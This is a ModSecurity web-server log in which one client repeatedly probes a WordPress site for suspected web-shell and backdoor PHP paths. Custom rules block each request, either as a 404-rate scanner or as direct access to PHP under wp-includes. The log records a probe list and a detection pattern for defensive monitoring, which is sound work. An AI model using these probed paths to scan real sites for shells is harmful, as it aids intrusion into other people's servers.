[Mon Mar 02 12:12:28.182932 2026] [:error] [pid 21575:tid 21583] [client 20.104.124.39:24685] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/filemanager/dialog.php"] [unique_id "aaUOLCrocdArcJqFfIkanQAAAUQ"]
[Mon Mar 02 12:12:28.958916 2026] [:error] [pid 21575:tid 21603] [client 20.104.124.39:25270] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aaUOLCrocdArcJqFfIkaowAAAVg"]
[Mon Mar 02 12:12:29.399121 2026] [:error] [pid 21575:tid 21593] [client 20.104.124.39:25077] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aaUOLSrocdArcJqFfIkaqAAAAU4"]
[Mon Mar 02 12:12:30.633550 2026] [:error] [pid 21575:tid 21597] [client 20.104.124.39:24693] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aaUOLirocdArcJqFfIkaugAAAVI"]
[Mon Mar 02 12:12:31.297236 2026] [:error] [pid 28908:tid 28914] [client 20.104.124.39:24660] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aaUOL4qJmC8ih_lQQnBgOQAAAMQ"]
[Mon Mar 02 12:12:31.836800 2026] [:error] [pid 21575:tid 21588] [client 20.104.124.39:24653] [client 20.104.124.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "aaUOLyrocdArcJqFfIkawgAAAUk"]
[Mon Mar 02 12:12:32.359056 2026] [:error] [pid 28908:tid 28934] [client 20.104.124.39:24713] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/index/function.php"] [unique_id "aaUOMIqJmC8ih_lQQnBgRAAAANg"]
[Mon Mar 02 12:12:33.133792 2026] [:error] [pid 21575:tid 21588] [client 20.104.124.39:25242] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/index/function.php"] [unique_id "aaUOMSrocdArcJqFfIka0AAAAUk"]
[Mon Mar 02 12:12:45.079261 2026] [:error] [pid 31257:tid 31275] [client 20.104.124.39:24727] [client 20.104.124.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/about.php"] [unique_id "aaUOPf-JFLfishX45N9pfwAAAQw"]
[Mon Mar 02 12:12:47.812589 2026] [:error] [pid 28908:tid 28929] [client 20.104.124.39:24714] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww1.php"] [unique_id "aaUOP4qJmC8ih_lQQnBg1wAAANM"]
[Mon Mar 02 12:12:48.889040 2026] [:error] [pid 21575:tid 21584] [client 20.104.124.39:24764] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww1.php"] [unique_id "aaUOQCrocdArcJqFfIkbKwAAAUU"]
[Mon Mar 02 12:12:49.835334 2026] [:error] [pid 28908:tid 28921] [client 20.104.124.39:24734] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww1.php"] [unique_id "aaUOQYqJmC8ih_lQQnBg3QAAAMs"]
[Mon Mar 02 12:12:50.755545 2026] [:error] [pid 31257:tid 31271] [client 20.104.124.39:24977] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww1.php"] [unique_id "aaUOQv-JFLfishX45N9pjQAAAQg"]
[Mon Mar 02 12:12:51.006595 2026] [:error] [pid 28793:tid 28807] [client 20.104.124.39:24728] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about/function.php"] [unique_id "aaUOQw2_fxBANaHo1f5g_wAAAAA"]
[Mon Mar 02 12:12:51.587557 2026] [:error] [pid 28908:tid 28933] [client 20.104.124.39:24695] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about/function.php"] [unique_id "aaUOQ4qJmC8ih_lQQnBg6QAAANc"]
[Mon Mar 02 12:12:52.088094 2026] [:error] [pid 23872:tid 23899] [client 20.104.124.39:24737] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about/function.php"] [unique_id "aaUOREzkQFuA2qBk8UMNOgAAAZg"]
[Mon Mar 02 12:12:52.707283 2026] [:error] [pid 31257:tid 31281] [client 20.104.124.39:24962] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about/function.php"] [unique_id "aaUORP-JFLfishX45N9pkgAAARI"]
[Mon Mar 02 12:12:53.175116 2026] [:error] [pid 28908:tid 28922] [client 20.104.124.39:24765] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/function.php"] [unique_id "aaUORYqJmC8ih_lQQnBg9AAAAMw"]
[Mon Mar 02 12:12:53.733507 2026] [:error] [pid 21575:tid 21600] [client 20.104.124.39:24726] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/function.php"] [unique_id "aaUORSrocdArcJqFfIkbRQAAAVU"]
[Mon Mar 02 12:12:54.236603 2026] [:error] [pid 21575:tid 21584] [client 20.104.124.39:24647] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/function.php"] [unique_id "aaUORirocdArcJqFfIkbRwAAAUU"]
[Mon Mar 02 12:12:54.683774 2026] [:error] [pid 28908:tid 28932] [client 20.104.124.39:25270] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/function.php"] [unique_id "aaUORoqJmC8ih_lQQnBhBQAAANY"]
[Mon Mar 02 12:12:55.113541 2026] [:error] [pid 31257:tid 31277] [client 20.104.124.39:24669] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aaUOR_-JFLfishX45N9plAAAAQ4"]
[Mon Mar 02 12:12:55.660497 2026] [:error] [pid 28908:tid 28914] [client 20.104.124.39:24730] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aaUOR4qJmC8ih_lQQnBhDAAAAMQ"]
[Mon Mar 02 12:12:56.163865 2026] [:error] [pid 31257:tid 31273] [client 20.104.124.39:24640] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aaUOSP-JFLfishX45N9pmQAAAQo"]
[Mon Mar 02 12:12:56.670894 2026] [:error] [pid 31257:tid 31286] [client 20.104.124.39:25014] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aaUOSP-JFLfishX45N9pnQAAARc"]
[Mon Mar 02 12:12:57.255579 2026] [:error] [pid 28908:tid 28913] [client 20.104.124.39:25010] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aaUOSYqJmC8ih_lQQnBhGQAAAMM"]
[Mon Mar 02 12:12:57.765801 2026] [:error] [pid 23872:tid 23882] [client 20.104.124.39:24707] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aaUOSUzkQFuA2qBk8UMNTwAAAYc"]
[Mon Mar 02 12:12:58.308364 2026] [:error] [pid 28793:tid 28831] [client 20.104.124.39:24977] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aaUOSg2_fxBANaHo1f5hAAAAABg"]
[Mon Mar 02 12:12:58.782506 2026] [:error] [pid 31257:tid 31283] [client 20.104.124.39:24760] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aaUOSv-JFLfishX45N9poQAAARQ"]
[Mon Mar 02 12:12:59.308075 2026] [:error] [pid 14466:tid 14483] [client 20.104.124.39:24761] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/security.php"] [unique_id "aaUOS_8w-ahEIiUSqM5TZAAAAc8"]
[Mon Mar 02 12:12:59.792464 2026] [:error] [pid 28908:tid 28922] [client 20.104.124.39:25066] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/security.php"] [unique_id "aaUOS4qJmC8ih_lQQnBhJAAAAMw"]
[Mon Mar 02 12:13:00.286977 2026] [:error] [pid 28795:tid 28880] [client 20.104.124.39:24756] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/security.php"] [unique_id "aaUOTLROd53wZBkdI_e_KgAAAJE"]
[Mon Mar 02 12:13:00.800551 2026] [:error] [pid 31257:tid 31268] [client 20.104.124.39:24748] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/security.php"] [unique_id "aaUOTP-JFLfishX45N9ppwAAAQU"]
[Mon Mar 02 12:13:01.291889 2026] [:error] [pid 28908:tid 28923] [client 20.104.124.39:24763] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aaUOTYqJmC8ih_lQQnBhMAAAAM0"]
[Mon Mar 02 12:13:01.795669 2026] [:error] [pid 14466:tid 14482] [client 20.104.124.39:25241] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aaUOTf8w-ahEIiUSqM5TbAAAAc4"]
[Mon Mar 02 12:13:02.235173 2026] [:error] [pid 23872:tid 23894] [client 20.104.124.39:24966] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aaUOTkzkQFuA2qBk8UMNWQAAAZM"]
[Mon Mar 02 12:13:02.921029 2026] [:error] [pid 23872:tid 23893] [client 20.104.124.39:24983] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aaUOTkzkQFuA2qBk8UMNXAAAAZI"]
[Mon Mar 02 12:13:03.556378 2026] [:error] [pid 28908:tid 28919] [client 20.104.124.39:24746] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aaUOT4qJmC8ih_lQQnBhQgAAAMk"]
[Mon Mar 02 12:13:04.127188 2026] [:error] [pid 21575:tid 21589] [client 20.104.124.39:24720] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aaUOUCrocdArcJqFfIkbTAAAAUo"]
[Mon Mar 02 12:13:04.571208 2026] [:error] [pid 28908:tid 28931] [client 20.104.124.39:25276] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aaUOUIqJmC8ih_lQQnBhUAAAANU"]
[Mon Mar 02 12:13:05.107365 2026] [:error] [pid 28908:tid 28916] [client 20.104.124.39:24757] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aaUOUYqJmC8ih_lQQnBhfAAAAMY"]
[Mon Mar 02 12:13:05.609868 2026] [:error] [pid 28793:tid 28825] [client 20.104.124.39:25262] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aaUOUQ2_fxBANaHo1f5hAwAAABI"]
[Mon Mar 02 12:13:06.177942 2026] [:error] [pid 23872:tid 23875] [client 20.104.124.39:24982] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aaUOUkzkQFuA2qBk8UMNbgAAAYA"]
[Mon Mar 02 12:13:06.681645 2026] [:error] [pid 31257:tid 31266] [client 20.104.124.39:24960] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aaUOUv-JFLfishX45N9ptwAAAQM"]
[Mon Mar 02 12:13:07.228007 2026] [:error] [pid 21575:tid 21593] [client 20.104.124.39:24965] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aaUOUyrocdArcJqFfIkbmgAAAU4"]
[Mon Mar 02 12:13:08.028530 2026] [:error] [pid 28908:tid 28924] [client 20.104.124.39:24973] [client 20.104.124.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aaUOVIqJmC8ih_lQQnBhywAAAM4"]
[Mon Mar 02 12:13:08.536742 2026] [:error] [pid 28908:tid 28916] [client 20.104.124.39:24739] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "aaUOVIqJmC8ih_lQQnBh0QAAAMY"]
[Mon Mar 02 12:13:09.075874 2026] [:error] [pid 28795:tid 28863] [client 20.104.124.39:25275] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "aaUOVbROd53wZBkdI_e_MQAAAIA"]
[Mon Mar 02 12:13:09.533843 2026] [:error] [pid 28795:tid 28875] [client 20.104.124.39:25266] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "aaUOVbROd53wZBkdI_e_NAAAAIw"]
[Mon Mar 02 12:13:09.975006 2026] [:error] [pid 28794:tid 28854] [client 20.104.124.39:24688] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "aaUOVaVy2qpaelbUob2C4gAAAFI"]
[Mon Mar 02 12:13:10.513030 2026] [:error] [pid 23872:tid 23899] [client 20.104.124.39:25031] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aaUOVkzkQFuA2qBk8UMNhgAAAZg"]
[Mon Mar 02 12:13:11.098293 2026] [:error] [pid 14466:tid 14476] [client 20.104.124.39:25007] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aaUOV_8w-ahEIiUSqM5TggAAAcg"]
[Mon Mar 02 12:13:11.553004 2026] [:error] [pid 28793:tid 28816] [client 20.104.124.39:25008] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aaUOVw2_fxBANaHo1f5hBgAAAAk"]
[Mon Mar 02 12:13:11.973231 2026] [:error] [pid 21575:tid 21603] [client 20.104.124.39:25216] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aaUOVyrocdArcJqFfIkbpwAAAVg"]
[Mon Mar 02 12:13:12.511693 2026] [:error] [pid 31257:tid 31275] [client 20.104.124.39:24750] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/admin.php"] [unique_id "aaUOWP-JFLfishX45N9pvgAAAQw"]
